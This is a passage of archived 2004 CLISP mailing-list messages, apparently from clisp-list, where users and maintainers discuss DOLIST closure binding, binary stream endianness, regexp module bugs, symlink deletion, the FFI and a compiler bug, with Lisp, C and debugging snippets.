> >   return 0;
> > }
> >



		
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On Tue, 2 Nov 2004 19:03:52 +0100, Michael Koehne <kraehe@copyleft.de> wrote:

> I dislike the Apache/mod_XXX approach, if handling a large amount of
> concurrent users. Given a 100MIPS/64MB system Apache/mod_perl/SSL
> drains down to 1.5 transactions per second, using a null database.

What exactly did you do in each request? I've done tests with
Apache/mod_lisp/CMUCL which were a /lot/ faster than that.

Edi.



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On Tuesday 02 November 2004 19:51, Edi Weitz wrote:
> On Tue, 2 Nov 2004 19:03:52 +0100, Michael Koehne 
<kraehe@copyleft.de> wrote:
> > I dislike the Apache/mod_XXX approach, if handling a large
> > amount of concurrent users. Given a 100MIPS/64MB system
> > Apache/mod_perl/SSL drains down to 1.5 transactions per second,
> > using a null database.
>
> What exactly did you do in each request? I've done tests with
> Apache/mod_lisp/CMUCL which were a /lot/ faster than that.
>
> Edi.
>

An other question more or less to the topic: Has anybody heard of a 
port of mod_lisp to apache2? I'd really like to give mod_lisp a 
try, but not in the old apache. As a beginner in 
apache-administration I don't want to mess around with the old 
version...

Thanks for your help,
Christoph


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On Wed, 3 Nov 2004 02:45:26 +0100, Christoph Steinemann <clisp@elmiura.ch> wrote:

> An other question more or less to the topic: Has anybody heard of a
> port of mod_lisp to apache2? I'd really like to give mod_lisp a try,
> but not in the old apache. As a beginner in apache-administration I
> don't want to mess around with the old version...

<http://common-lisp.net/pipermail/tbnl-devel/2004-June/000014.html>



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Hi,

>>In wrap.lisp, there's a signal handling example where the
>>test-handler uses format to prints a message.
>I can't look at the source for now, but this should be deleted.

I think it's unfortunate that Peter Wood's examples got included =
verbatim and without comments in CVS. I just didn't notice that.

As an afterthought I think the API functions may remain in linux.lisp, =
but should use C-POINTER declarations where C-FUNCTION is used. This is =
to prevent conversion of a Lisp function to a signal handler, which =
does not work.
The call-out definition may remain because a user may well use it to =
install a *foreign* signal handler (which must not callback into Lisp) =
s/he got from somewhere (although I hate those packages which provide =
lots of API functions -- they are generally neither tested nor useful).

I wrote on 21st of March 2003 (a year later than Peter)
>Although Peter Wood demo'ed one on 8th of March 2002, a signal handler =
in Lisp is
>completely unreliable and may crash at any GC or cause other trouble.

It remembers me when Gilbert Baumann demo'ed a threading CLISP (sort of =
a REPL server) around 1998 and wrote something like "it -- of course -- =
crashes at the first GC". :-)

Regards,
	J=F6rg H=F6hle.


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> * Elvin Peterson <ryiva_crgrefba@lnubb.pbz> [2004-10-30 12:53:03 -0700]:
>
> There is a cygwin specific solution with the /dev/*
> class of files.  I am able to use this from C, so why
> doesn't it work from clisp, which is written in C?

that's because CLISP checks all directories in the path.

WFM:

$ ./clisp -q -norc -x '(with-open-file (s "/dev/clipboard") (read-line s))'

*** - nonexistent directory: #P"/dev/"


$ mkdir /dev/


$ ./clisp -q -norc -x '(with-open-file (s "/dev/clipboard") (read-line s))'
"(with-open-file (s \"/dev/clipboard\") (read-line s))" ;
T


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> There is no directory named /dev, but fopen calls to
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hi list,

while writing a small program that uses ltk to create a simple GUI, i ran into
the following code that works on SBCL but doesn't on CLisp:

(dolist (key '(1 2 3 4 5 6 7 8 9 0))
  (bind *tk* (format nil "~A" key) (lambda (e) (declare (ignore e))
        (key-press key))))

i'm simply trying to avoid writing this 10 times:

(bind *tk* "1" (lambda (e) (declare (ignore e)) (key-press 1)))

with the 1's appropriately replaced by 2, 3, etc., of course.

like i said, the code works as i expect it would on SBCL, i.e., it creates a
binding for the key "1" to (key-press 1), for "2" to (key-press 2), etc. but it
doesn't on CLisp. i did some experimenting:

(dolist (key '(1 2 3 4 5 6 7 8 9 0))
  (bind *tk* (format nil "~A" key) (lambda (e) (declare (ignore e))
        (princ key))))

replacing the call to KEY-PRESS to PRINC, so that i can see what is actually
happening. now, every time i press any of the number keys, a zero is printed on
 stdout. if i change the list to e.g. '(0 1 2 3 4 5 6 7 8 9), pressing any
number key results in a 9 to be printed to stdout. IOW the code creates a
binding for each of the number keys to (key-press 0), or (key-press 9),
depending on whatever the last element of the list is.

BTW, doing the same with mapcar works ok:

(mapcar #'(lambda (key)
             (bind *tk* (format nil "~A" key) (lambda (e) (declare (ignore e))
                                                          (key-press key))))
        '(0 1 2 3 4 5 6 7 8 9))

so is this a bug in CLisp's DOLIST, or is there something else going on?

TIA

joost

FYI:

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Joost Kremers <joostkremers@yahoo.com> writes:

> so is this a bug in CLisp's DOLIST, or is there something else going
> on?

This sounds like it's related to the discussion in this thread¹ from a
couple of years ago entitled "Midfunction Recursion." I asked several
questions in that thread, and rereading it now I can say my grasp of
it has only marginally improved. One of Tim Bradshaw's replies² best
matches and enhances my current understanding, while several other
replies seem to assert the inverse explanation. Perhaps I had lost
track of what we were arguing about.

In any case, I'll try to address your example. With CLISP, dolist
establishes one binding for key and assigns it on each iteration.

(let ((r))
  (dolist (key '(1 2 3 4 5) r)
    (push #'(lambda ()
              (format t "~A" key))
          r)))

(LET ((R))
 (BLOCK NIL
  (LET* ((#:G23090 '(1 2 3 4 5)) (KEY NIL)) (DECLARE (LIST #:G23090))
   (TAGBODY #:G23091 (IF (ENDP #:G23090) (GO #:G23092))
    (SETQ KEY (CAR #:G23090))
    (SETQ R
     (CONS
      #'(LAMBDA NIL (DECLARE (SYSTEM::SOURCE (NIL (FORMAT T "~A" KEY))))
         (FORMAT T "~A" KEY))
      R))
    (SETQ #:G23090 (CDR #:G23090)) (GO #:G23091) #:G23092
    (RETURN-FROM NIL (LET ((KEY NIL)) (DECLARE (IGNORABLE KEY))
    R))))))


You can see this more easily in the macroexpansion for a similar DO
form (Erik Naggum's example):

(do ((i 1 (1+ i))
     (foo () (cons (lambda () i) foo)))
    ((= i 5) foo))

(BLOCK NIL
 (LET ((I 1) (FOO NIL))
  (TAGBODY #:G23080 (IF (= I 5) (GO #:G23081))
   (PSETQ I (1+ I) FOO
    (CONS #'(LAMBDA NIL (DECLARE (SYSTEM::SOURCE (NIL I))) I) FOO))
   (GO #:G23080) #:G23081 (RETURN-FROM NIL FOO))))


It looks like CLISP implements DOLIST in terms of DO and, according to
the Hyperspec, DO is guaranteed to use assignment to a single binding:

  At the beginning of each iteration other than the first, vars are
  updated as follows. All the step-forms, if supplied, are evaluated,
  from left to right, and the resulting values are assigned to the
  respective vars.

Note that on DOLIST the HyperSpec says³:

  It is implementation-dependent whether dolist establishes a new
  binding of var on each iteration or whether it establishes a binding
  for var once at the beginning and then assigns it on any subsequent
  iterations.

That lets both CLISP and SBCL off the hook.


Footnotes: 
¹ http://groups.google.com/groups?threadm=3244459363713506%40naggum.no
² http://groups.google.com/groups?threadm=ey3adl3btrn.fsf%40cley.com
³ http://www.lispworks.com/reference/HyperSpec/Body/m_dolist.htm

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Is there a way to specify the byte sex of signed-byte and
unsigned-byte data?

It seems that clisp always swap bytes, which is wrong of course (on
linux/ppc which is big-endian).  But anyways, file format should not
be dependant on the processor, so there should be a mean to specify
the endianness with :EXTERNAL-FORMAT.

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> * Joost Kremers <wbbfgxerzref@lnubb.pbz> [2004-11-05 14:33:46 -0800]:
>
> while writing a small program that uses ltk to create a simple GUI, i
> ran into the following code that works on SBCL but doesn't on CLisp:
>
> (dolist (key '(1 2 3 4 5 6 7 8 9 0))
>   (bind *tk* (format nil "~A" key) (lambda (e) (declare (ignore e))
>         (key-press key))))

try

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          (key-press key)))))

you want the variable the be _bound_ to each digit, while CLISP
_assigns_ it.

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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-11-06 22:03:57 +0100]:
>
> Is there a way to specify the byte sex of signed-byte and
> unsigned-byte data?

<http://clisp.cons.org/impnotes/stream-dict.html#endianness>
open your streams as (UNSIGNED-BYTE 8) and use READ-INTEGER and
WRITE-INTEGER.

> It seems that clisp always swap bytes, which is wrong of course (on
> linux/ppc which is big-endian).  But anyways, file format should not
> be dependant on the processor, so there should be a mean to specify
> the endianness with :EXTERNAL-FORMAT.

indeed, :EXTERNAL-FORMAT format is ignored for binary i/o.
I think your suggestion makes sense.

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--- Sam Steingold <sds@gnu.org> wrote:
> try
> 
> (dolist (k '(1 2 3 4 5 6 7 8 9 0))
>   (let ((key k))
>     (bind *tk* (format nil "~A" key) (lambda (e) (declare (ignore e))
>           (key-press key)))))
> 
> you want the variable the be _bound_ to each digit, while CLISP
> _assigns_ it.

yes, i received an (accidentally?) off-list reply that made a lot of things
clear to me, including why your version will work while mine didn't.

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Pascal J.Bourguignon wrote:
> > It seems that clisp always swap bytes, which is wrong of course (on
> > linux/ppc which is big-endian).  But anyways, file format should not
> > be dependant on the processor

You're contradicting yourself here: If you say that swapping bytes is
"wrong", you are assuming that following the processor's endianness would
be correct. But then the file format would depend on the processor!

clisp implements the I/O on binary streams in a way that the format on disk
is _not_ processor dependent. The details are undocumented, but happen to
be little-endian for types such as `(UNSIGNED-BYTE ,(* 8 n)).

> > so there should be a mean to specify
> > the endianness with :EXTERNAL-FORMAT.

You would gain nothing. There is no specification of the bit-by-bit
format of a stream of `(UNSIGNED-BYTE ,n) or `(SIGNED-BYTE ,n) integers
that a CL implementation can produce. Therefore you cannot read such a file
in a different CL implementation than the one that produced it. And you can
already read it in the same CL implementation.

ANSI CL says that "The external-format is meaningful for any kind of file
stream whose element type is a subtype of character." You see, it's not
meant for binary I/O.

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> * Bruno Haible <oehab@pyvfc.bet> [2004-11-08 14:33:09 +0100]:
>
>>> so there should be a mean to specify
>>> the endianness with :EXTERNAL-FORMAT.
>
> You would gain nothing. There is no specification of the bit-by-bit
> format of a stream of `(UNSIGNED-BYTE ,n) or `(SIGNED-BYTE ,n)
> integers that a CL implementation can produce. Therefore you cannot
> read such a file in a different CL implementation than the one that
> produced it. And you can already read it in the same CL
> implementation.

De jure, yes.
De facto, I bet all CLs use the IEEE format in either the host byte
order or some fixed byte order (either little-endian, like CLISP, or
big-endian), so I see no harm in enabling CLISP to read all their files.

> ANSI CL says that "The external-format is meaningful for any kind of
> file stream whose element type is a subtype of character." You see,
> it's not meant for binary I/O.

So?  We can do better, can't we?

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Subject: [clisp-list] Re: byte sex
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Date: Tue Nov  9 04:47:08 2004
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Bruno Haible writes:
> Pascal J.Bourguignon wrote:
> > > It seems that clisp always swap bytes, which is wrong of course (on
> > > linux/ppc which is big-endian).  But anyways, file format should not
> > > be dependant on the processor
> 
> You're contradicting yourself here: If you say that swapping bytes is
> "wrong", you are assuming that following the processor's endianness would
> be correct. But then the file format would depend on the processor!
> 
> clisp implements the I/O on binary streams in a way that the format on disk
> is _not_ processor dependent. The details are undocumented, but happen to
> be little-endian for types such as `(UNSIGNED-BYTE ,(* 8 n)).

Well, I'm unhappy that the implemented byte order be little-endian
(most portable binary file formats and the Internet protocols use
big-endian), but I can deal with it. 

(the choice of endianness is mentioned in this section:
     http://clisp.cons.org/impnotes/stream-dict.html#bin-input)


> > > so there should be a mean to specify
> > > the endianness with :EXTERNAL-FORMAT.
> 
> You would gain nothing. There is no specification of the bit-by-bit
> format of a stream of `(UNSIGNED-BYTE ,n) or `(SIGNED-BYTE ,n) integers
> that a CL implementation can produce. Therefore you cannot read such a file
> in a different CL implementation than the one that produced it. And you can
> already read it in the same CL implementation.
> 
> ANSI CL says that "The external-format is meaningful for any kind of file
> stream whose element type is a subtype of character." You see, it's not
> meant for binary I/O.

The complete quote is:

    The external-format is meaningful for any kind of file stream
    whose element type is a subtype of character. This option is
    ignored for streams for which it is not meaningful; however,
    implementations may define other element types for which it is
    meaningful. The consequences are unspecified if a character is
    written that cannot be represented by the given external file
    format.

An implementation is free to define :EXTERNAL-FORMAT(s) for other
:ELEMENT-TYPE(s).

I was suggesting to do that.

For example instead of defining non-standard EXT:READ-INTEGER and
EXT:WRITE-INTEGER with a :ENDIANNESS argument, one could have rather
defined an implementation specific external format. (I imagine that
this possibility appeared only with the standard and did not exist at
the CLtL epoch).

:EXTERNAL-FORMAT '(:CLISP-BINARY-FILE [:ENDIANNESS [:BIG|:LITTLE]]
                                      [:BYTE-SIZE n]
                                      [:PACKED    T|NIL]
                                      [:HEADER    T|NIL] ...)


But now I understand that the external format for element types other
than (signed-byte 8) or (unsigned-byte 8) [or rather device native
byte size] are to be considered implementation specific and should not
be used for portable binary file formats.


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I just downloaded and installed the Win32 binary of 2.33.1 from SF on
my laptop (Win XP pro SP2). I have an environment variable HOME set
and CLISP starts up in this directory. However, it doesn't load the
file .clisprc.lisp which is there. According to

  <http://clisp.sourceforge.net/clisp.html>

this file is supposed to be loaded, but arguably only for Unix-like
systems. Searching

  <http://clisp.sourceforge.net/impnotes/>

for 'start' didn't reveal any additional information.

Doesn't Win32-CLISP read any startup files or am I doing something
wrong?

Thanks,
Edi.



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> * Edi Weitz <rqv@ntunegn.qr> [2004-11-10 12:21:35 +0100]:
>
> I just downloaded and installed the Win32 binary of 2.33.1 from SF on
> my laptop (Win XP pro SP2). I have an environment variable HOME set
> and CLISP starts up in this directory. However, it doesn't load the
> file .clisprc.lisp which is there. According to
>
>   <http://clisp.sourceforge.net/clisp.html>

this is the UNIX man page.
I wonder if we need to put the win32 page there too.
Or maybe just use the same file name on unix and woe32:
Emacs loads ~/.emacs.elc on all platforms.

> this file is supposed to be loaded, but arguably only for Unix-like
> systems. Searching
>
>   <http://clisp.sourceforge.net/impnotes/>
>
> for 'start' didn't reveal any additional information.
>
> Doesn't Win32-CLISP read any startup files or am I doing something
> wrong?

<http://clisp.cons.org/faq.html#rc>



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Hello,

Under Clisp 2.33.2 on GNU/Linux and NetBSD (both x86), when one has a
symlink to a directory, neither delete-file nor delete-dir works on
the symlink: delete-file signals an error that the link is a directory
and delete-dir signals an error that the link isn't a directory. Is
there any way to do this, short of resorting to ffi or shelling out to
"rm"? Nothing jumps out at me in the impnotes.

Thanks in advance,
Richard



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Date: Mon Nov 15 09:14:02 2004
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Hi,

>>>>>> "Sam" == Sam Steingold <sds@gnu.org> wrote in 2002:
>    Sam>   (sys::%expand-form '(macrolet ((bar (x) `(print ,x)))
>    Sam> would it be useful to export this as, say EXT:EXPAND-FORM

CLISP exports it by now but I wonder how it can be generally useful since it does not take an &environment argument. As a result, only top-level forms can be processed correctly with it?!?

What are (exportable) means to walk code correctly handling lexical context?
Typically one uses
(defmacro my-macro (&body body &environment env)
  (expand-form-respecting body env))

BTW, the impnotes on ext:expand-form is unclear to me. Does it mean that it expects to be called with (macrolet ...) or (symbol-macrolet ...) at the top of the expression sexp to do anything?
It also appears to expand top-level macros, e.g. (ext:expand-form '(loop repeat 2))

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	Jorg Hohle


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> * Richard M Kreuter <xerhgre@cebta.arg> [2004-11-12 19:36:24 -0500]:
>
> Under Clisp 2.33.2 on GNU/Linux and NetBSD (both x86), when one has a
> symlink to a directory, neither delete-file nor delete-dir works on
> the symlink: delete-file signals an error that the link is a directory
> and delete-dir signals an error that the link isn't a directory.

indeed, DELETE-FILE should work on such a symbolic link.
it does not because assure_dir_exists() tries to resolve all symlinks
in an attempt to prevent deleting open files.

I am not sure how this should be fixed - short of a complete rewrite of
pathname.d :-(

Reply-to set to clisp-devel (subscriber-only).

PS. I would argue that DELETE-FILE and PROBE-FILE should work on
    directories as well - on the premise that "it's better to have one
    function that works on 100 datatypes than 10 functions that work on
    10 datatypes" - and DELETE-DIR and PROBE-DIRECTORY should be
    removed, but this is an old controversy...
    one benefit is that it would be crystal clear what function should
    handle a symlink to a directory :-)

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Puzzled. I installed clisp via link. \sw\bin\clisp starts up clisp fine. 
But I see no FFI package.

On win32 I have to do \clisp\lisp -M lispinit.mem -B \clisp

Have I missed some incantation in starting clisp? 
Kinda need that FFI package.

kenny



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> * Kenny Tilton <xgvygba@alp.ee.pbz> [2004-11-17 17:06:28 +0000]:
>
> Puzzled. I installed clisp via link. \sw\bin\clisp starts up clisp
> fine.  But I see no FFI package.

clisp/unix/PLATROFMS in the source distribution says:

FFI does not work yet, you will have to ignore the "avcall-*.h" errors
in ./configure or run './configure --without-dynamic-ffi'.

would you like to work on it?

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On Nov 17, 2004, at 12:22 PM, Sam Steingold wrote:

>> * Kenny Tilton <xgvygba@alp.ee.pbz> [2004-11-17 17:06:28 +0000]:
>>
>> Puzzled. I installed clisp via link. \sw\bin\clisp starts up clisp
>> fine.  But I see no FFI package.
>
> clisp/unix/PLATROFMS in the source distribution says:
>
> FFI does not work yet, you will have to ignore the "avcall-*.h" errors
> in ./configure or run './configure --without-dynamic-ffi'.
>
> would you like to work on it?

Thx for the quick response. I was actually asking on behalf of someone 
else. Kinda. What happened was that someone sent me out of the blue a 
CLisp integration of GTk2 with my Cells project. It runs on win32 and 
linux. I have been shifting all my open source stuff to OS X, so I 
thought I would install CLisp and GTk to see if it would Just Work.

Well, GTk is fairly popular. Maybe this will give CLisp/OS X fans a 
push to help with the FFI.

cheers, kenny



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Hello,
 
I am still a lisp newbie running FreeBSD 5.3. I want to use clisp
with its built-in regexp module. Since I don't want to use the ports
collection I had a look at the makefile and encountered that it configures
with "--with-module=regexp". Great I thought and installed the package.
But when running clisp I'm looking for :regexp in *features* in vain.




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> * Christian Pohlmann <pcbuyznaa01@lnubb.pbz> [2004-11-17 18:43:06 +0100]:
>
> I am still a lisp newbie running FreeBSD 5.3. I want to use clisp with
> its built-in regexp module. Since I don't want to use the ports
> collection I had a look at the makefile and encountered that it
> configures with "--with-module=regexp". Great I thought and installed
> the package.  But when running clisp I'm looking for :regexp in
> *features* in vain.

<http://clisp.cons.org/faq.html#modules>

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On Wed, 17 Nov 2004 12:56:37 -0500, Sam Steingold wrote:

> <http://clisp.cons.org/faq.html#modules>

Thanks, that did the job.




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I downloaded 2.33.1 to a redhat 6.2 linux and got an error building.  
I was about to send a message asking what to do about it when it 
occurred to me to try in a newer version.  It seems to be working in
redhat 8. 

My new request is that the install instructions should mention this as
a potential problem and refer to a web page on which is recorded 
versions of clisp/OS that do and don't build, preferably including
various configuration options, and perhaps the errors that occur in
the incompatible cases.

I offer the following data point

 ...
 gcc  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
 -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE
 -DDYNAMIC_FFI -DNO_GETTEXT -I. -c lisparit.c
 In file included from lisparit.d:8:
 lispbibl.d:7345: warning: register used for two global register
 variables
 In file included from lisparit.d:28:
 arilev1.d:182: `DS' redeclared as different kind of symbol
 /usr/include/sys/ucontext.h:53: previous declaration of `DS'
 make: *** [lisparit.o] Error 1

I see that the ucontext file named above contains DS whereas
in redhat 8 it contains REG_DS.


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I don't know whether this happens in later versions, it evidently did
not happen in 2.31

I do
(trace (compile :post-break-if (eql (car ext::*trace-args*) '|Test-INLINEREL|)))
and continue to get past package lock.
Then I start my build.  It eventually breaks.  The transcript is below.
The disassembly of the broken compile I think is wrong.  In particular
the (const 0) is wrong.  I then call compile on the same source and
get what I think is correct.
Why the difference and what can I do to fix it?



 1. Trace: 
 (COMMON-LISP:COMPILE '|Test-INLINEREL|
  '(LAMBDA (#:A30158)
    (WITHREADACCESS
     (LET ((#:G30159 #:A30158))
      (LET ((CXVALUE (VALUEINCURRENTCX (THEAP5RELATION INLINEREL) #:G30159)))
       (COND ((NOT (EQ CXVALUE 'INHERIT)) CXVALUE)
	(T
	 (NOT
	  (NOT
	   ((LAMBDA (REL &REST TUPLE)
	     (FMEMB3 TUPLE (GETBASEDATA REL) #,(relationp 'INLINEREL)))
	    (THEAP5RELATION INLINEREL) #:G30159))))))))))
 Break 1 AP5[3]> (disassemble '|Test-INLINEREL|)


 Disassembly of function |Test-INLINEREL|
 (CONST 0) = NIL
 (CONST 1) = VALUEINCURRENTCX
 (CONST 2) = INHERIT
 (CONST 3) = #<COMPILED-CLOSURE |Test-INLINEREL-1|>
 (CONST 4) = GETBASEDATA
 1 required argument
 0 optional arguments
 No rest parameter
 No keyword parameters
 24 byte-code instructions:
 0     (CONST&PUSH 0)                      ; NIL
 1     (LOAD&PUSH 2)
 2     (CALL2&PUSH 1)                      ; VALUEINCURRENTCX
 4     (LOAD&PUSH 0)
 5     (JMPIFNOTEQTO 2 L35)                ; INHERIT
 8     (NIL)
 9     (MAKE-VECTOR1&PUSH 1)
 11    (CONST&PUSH 0)                      ; NIL
 12    (LOAD&PUSH 4)
 13    (LIST 1)
 15    (STOREC 1 0)
 18    (LOAD&PUSH 1)
 19    (COPY-CLOSURE&PUSH 3 1)             ; #<COMPILED-CLOSURE |Test-INLINEREL-1|>
 22    (LOAD&PUSH 1)
 23    (CALL1&PUSH 4)                      ; GETBASEDATA
 25    (PUSH-UNBOUND 1)
 27    (CALLS1 181)                        ; MEMBER-IF
 29    (SKIP 2)
 31    (NOT)
 32    (NOT)
 33    (SKIP&RET 3)
 35    L35
 35    (POP)
 36    (SKIP&RET 2)
 NIL
 Break 1 AP5[3]> (compile 'g (cadr ext::*trace-args*))

 2. Trace: 
 (COMMON-LISP:COMPILE 'G
  '(LAMBDA (#:A30158)
    (WITHREADACCESS
     (LET ((#:G30159 #:A30158))
      (LET ((CXVALUE (VALUEINCURRENTCX (THEAP5RELATION INLINEREL) #:G30159)))
       (COND ((NOT (EQ CXVALUE 'INHERIT)) CXVALUE)
	(T
	 (NOT
	  (NOT
	   ((LAMBDA (REL &REST TUPLE)
	     (FMEMB3 TUPLE (GETBASEDATA REL) #,(relationp 'INLINEREL)))
	    (THEAP5RELATION INLINEREL) #:G30159))))))))))
 2. Trace: COMMON-LISP:COMPILE ==> G, NIL, NIL
 G ;
 NIL ;
 NIL
 Break 1 AP5[3]> (disassemble 'g)


 Disassembly of function G
 (CONST 0) = #,(relationp 'INLINEREL)
 (CONST 1) = VALUEINCURRENTCX
 (CONST 2) = INHERIT
 (CONST 3) = #<COMPILED-CLOSURE G-1>
 (CONST 4) = GETBASEDATA
 1 required argument
 0 optional arguments
 No rest parameter
 No keyword parameters
 23 byte-code instructions:
 0     (CONST&PUSH 0)                      ; #,(relationp 'INLINEREL)
 1     (LOAD&PUSH 2)
 2     (CALL2&PUSH 1)                      ; VALUEINCURRENTCX
 4     (LOAD&PUSH 0)
 5     (JMPIFNOTEQTO 2 L34)                ; INHERIT
 8     (NIL)
 9     (MAKE-VECTOR1&PUSH 1)
 11    (LOAD&PUSH 3)
 12    (LIST 1)
 14    (STOREC 0 0)
 17    (LOAD&PUSH 0)
 18    (COPY-CLOSURE&PUSH 3 1)             ; #<COMPILED-CLOSURE G-1>
 21    (CONST&PUSH 0)                      ; #,(relationp 'INLINEREL)
 22    (CALL1&PUSH 4)                      ; GETBASEDATA
 24    (PUSH-UNBOUND 1)
 26    (CALLS1 181)                        ; MEMBER-IF
 28    (SKIP 1)
 30    (NOT)
 31    (NOT)
 32    (SKIP&RET 3)
 34    L34
 34    (POP)
 35    (SKIP&RET 2)
 NIL
 Break 1 AP5[3]> (g rel-adder)
 NIL
 Break 1 AP5[3]> (|Test-INLINEREL| rel-adder)

 *** - SYSTEM::%STRUCTURE-REF: NIL is not a structure of type DBOBJECT
 Break 2 AP5[4]> 


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Hi Don,

>and continue to get past package lock.
>Then I start my build.  It eventually breaks.
>In particular the (const 0) [NIL] is wrong.

Is it related to the package lock, i.e. does it still happen when you remove the package lock prior to compilation?

This remembers me of a bug recently fixed:

2004-09-28  Sam Steingold  <sds@gnu.org>

        package locking should not interfere with SETQ return value
        * control.d (SETQ): restore value1 after setq()
        * eval.d (setq): return value
        * lispbibl.d (setq): updated the declaration
        Reported by Jorg Hohle

The bug report was as follows:
[31]> (list (setq compiler::*coutput-stream* *standard-output*) 1)
** - Continuable Error
SETQ(SYSTEM::*COUTPUT-STREAM*): #<PACKAGE SYSTEM> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
The following restarts are also available:
ABORT          :R1      ABORT
Break 1 [32]> continue
(NIL 1)
 ^^^ this should have been the value of *Standard-output*

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Hello,

this time I searched many available clisp resources like the FAQ or the
impnotes. Anyway, there seems to be a problem with your regexp module in
version 2.33.2: I compiled it from scratch on my FreeBSD 5.3 box, ran it
with regexp support and just tried out the example you mention in the
impnotes. This is what I get for the first one:

[1]> (regexp:match "quick" "The quick brown fox jumps quickly.")
#S(REGEXP:MATCH :START 4 :END 0)
[2]> (regexp:match "quick" "The quick brown fox jumps quickly." :start 8)
#S(REGEXP:MATCH :START 26 :END 8)
[3]> 


maybe this information is helpful:
cp@kamino$ clisp -K full --version
GNU CLISP 2.33.2 (2004-06-02) (built 3309862150) (memory 3309862414)
Software: GNU C 3.4.2 [FreeBSD] 20040728 ANSI C program
Features: 
(REGEXP CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER
 SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN UNICODE BASE-CHAR=CHARACTER
 UNIX)
Installation directory: /usr/home/cp/usr/lib/clisp/
User language: ENGLISH
Machine: I386 (I386) kamino.hom [192.168.0.2]


I started using Edi Weitz's regexp package, but actually I want to use
yours.





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Christian Pohlmann writes:
> Hello,
> 
> this time I searched many available clisp resources like the FAQ or the
> impnotes. Anyway, there seems to be a problem with your regexp module in
> version 2.33.2: I compiled it from scratch on my FreeBSD 5.3 box, ran it
> with regexp support and just tried out the example you mention in the
> impnotes. This is what I get for the first one:
> 
> [1]> (regexp:match "quick" "The quick brown fox jumps quickly.")
> #S(REGEXP:MATCH :START 4 :END 0)
> [2]> (regexp:match "quick" "The quick brown fox jumps quickly." :start 8)
> #S(REGEXP:MATCH :START 26 :END 8)
> [3]> 
> 
> 
> maybe this information is helpful:
> cp@kamino$ clisp -K full --version
> GNU CLISP 2.33.2 (2004-06-02) (built 3309862150) (memory 3309862414)
> Software: GNU C 3.4.2 [FreeBSD] 20040728 ANSI C program
> Features: 
> (REGEXP CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER
>  SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN UNICODE BASE-CHAR=CHARACTER
>  UNIX)
> Installation directory: /usr/home/cp/usr/lib/clisp/
> User language: ENGLISH
> Machine: I386 (I386) kamino.hom [192.168.0.2]
> 
> 
> I started using Edi Weitz's regexp package, but actually I want to use
> yours.

There are bugged implementations of regex!
Fetch gnu regex (from glibc) and compile it with clisp.

See: http://sourceforge.net/mailarchive/message.php?msg_id=9272757


Use this c program to check your implementation of regex:

#include <sys/types.h>
#include <regex.h>
#include <stdio.h>

    int main(int argc,char** argv){
        printf("%d\n",argc);
        if(argc==3){
            regex_t* re=(regex_t*)malloc(sizeof(regex_t));
            int status=regcomp(re,argv[1],0);
            if(status!=0){
                char buf[128];
                regerror(status,re,buf,sizeof(buf));
                printf("regcomp error %s\n",buf);
                return(1); }
            {
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                regmatch_t* matches=(regmatch_t*)malloc((re->re_nsub+1)
                                                        *sizeof(regmatch_t));
                status=regexec(re,argv[2],re->re_nsub+1,matches,0);
                if(status!=0){
                    char buf[128];
                    regerror(status,re,buf,sizeof(buf));
                    printf("regexec error %s\n",buf);
                    return(1); }
                for(i=0;i<=re->re_nsub;i++){
                    if((0<=matches[i].rm_so)&&(0<=matches[i].rm_eo)){
                        printf("match %2d: %2d %2d\n",i,
                               matches[i].rm_so,matches[i].rm_eo); }}}
        }else{
            printf("usage: %s pattern string\n",argv[0]); }
        return(0); }



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> * Christian Pohlmann <pcbuyznaa01@lnubb.pbz> [2004-11-19 16:38:19 +0100]:
>
> Hello,
>
> this time I searched many available clisp resources like the FAQ or the
> impnotes. Anyway, there seems to be a problem with your regexp module in
> version 2.33.2: I compiled it from scratch on my FreeBSD 5.3 box, ran it
> with regexp support and just tried out the example you mention in the
> impnotes. This is what I get for the first one:
>
> [1]> (regexp:match "quick" "The quick brown fox jumps quickly.")
> #S(REGEXP:MATCH :START 4 :END 0)
> [2]> (regexp:match "quick" "The quick brown fox jumps quickly." :start 8)
> #S(REGEXP:MATCH :START 26 :END 8)
> [3]>

WFM (cygwin, linux):

[1]> (regexp:match "quick" "The quick brown fox jumps quickly." :start 8)
#S(REGEXP:MATCH :START 26 :END 31)                                              [2]> (regexp:match "quick" "The quick brown fox jumps quickly.")
#S(REGEXP:MATCH :START 4 :END 9)
[3]>

could you please debug this?

$ ./configure --with-debug --with-module regexp --build build-g
$ cd build-g
$ gdb full/lisp.run
(gdb) full
(gdb) break C_subr_regexp_regexp_exec
(gdb) run
> (regexp:match "quick" "The quick brown fox jumps quickly.")
(gdb)

then step through the end and see whether ret[0].rm_eo is 0 and not 9 as
it should be.

if it is 0, file a bug report with your OS vendor.
if it is 9, try to figure out why 0 is used.

Thanks.


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Date: Fri Nov 19 08:38:04 2004
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Hoehle, Joerg-Cyril writes:
 > Hi Don,
 > 
 > >and continue to get past package lock.
 > >Then I start my build.  It eventually breaks.
 > >In particular the (const 0) [NIL] is wrong.
 > 
 > Is it related to the package lock, i.e. does it still happen when
 > you remove the package lock prior to compilation?

You mean unlock the lisp package before tracing compile instead of
tracing compile and then typing continue?
I haven't tried it but the problem does arise if I never trace
compile at all.  
I traced compile only in order to show that
(1) the first time compile was given this argument it produced one
result and the next time it produced another one
(2) there was no change of state between the two compiles, other 
than changes caused by the compile itself.

Here's the result of some more experimentation, trying to produce
a relatively small self contained example.

This is not quite the same symptom but similar enough to suggest
the same underlying problem.  In this case the first compile looks
more plausible than the second, since the second doesn't contain the 
load time value at all.

================

./lisp.run -M ./lispinit.mem
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
